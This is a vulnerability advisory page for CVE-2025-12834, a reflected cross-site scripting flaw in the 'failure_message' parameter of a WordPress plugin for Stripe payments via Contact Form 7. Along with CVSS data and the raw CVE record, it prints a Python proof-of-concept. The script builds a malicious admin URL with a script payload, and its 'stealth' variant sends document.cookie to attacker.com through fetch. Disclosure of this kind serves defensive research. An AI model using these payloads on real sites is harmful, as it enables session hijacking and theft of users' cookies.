Security Vulnerability Report
中文
CVE-2025-12834 CVSS 6.1 MEDIUM

CVE-2025-12834

Published: 2025-12-12 04:15:40
Last Modified: 2026-04-15 00:35:42

Description

The Accept Stripe Payments Using Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'failure_message' parameter in versions up to, and including, 3.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Accept Stripe Payments Using Contact Form 7 <= 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import urllib.parse # CVE-2025-12834 PoC - Reflected XSS in Contact Form 7 Stripe Plugin # Target: WordPress site with Accept Stripe Payments Using Contact Form 7 plugin <= 3.1 def generate_xss_payload(): """Generate XSS payload for failure_message parameter""" payload = '<script>alert(document.cookie)</script>' return urllib.parse.quote(payload) def generate_poc_url(target_url, plugin_page='wp-admin/admin.php?page=cf7sa'): """ Generate PoC URL for CVE-2025-12834 Args: target_url: Target WordPress site URL plugin_page: Plugin admin page path Returns: Malicious URL with XSS payload """ xss_payload = generate_xss_payload() # Construct malicious URL with failure_message parameter containing XSS poc_url = f"{target_url}/{plugin_page}&failure_message={xss_payload}" return poc_url # Example usage if __name__ == "__main__": target = "https://example-wordpress-site.com" poc = generate_poc_url(target) print(f"Target: {target}") print(f"PoC URL: {poc}") print("\nNote: This PoC demonstrates the reflected XSS vulnerability.") print("When a logged-in user visits this URL, the JavaScript will execute.") # Alternative PoC - More stealthy payload def generate_stealth_poc(): """Generate more sophisticated XSS payload""" stealth_payload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' return urllib.parse.quote(stealth_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12834", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:40.300", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Accept Stripe Payments Using Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'failure_message' parameter in versions up to, and including, 3.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/accept-stripe-payments-using-contact-form-7/tags/3.1/inc/lib/class.cf7sa.lib.php#L696", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3418155/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d9e77e3f-dcd8-426a-be0f-24eb65c6709e?source=cve", "source": "[email protected]"}]}}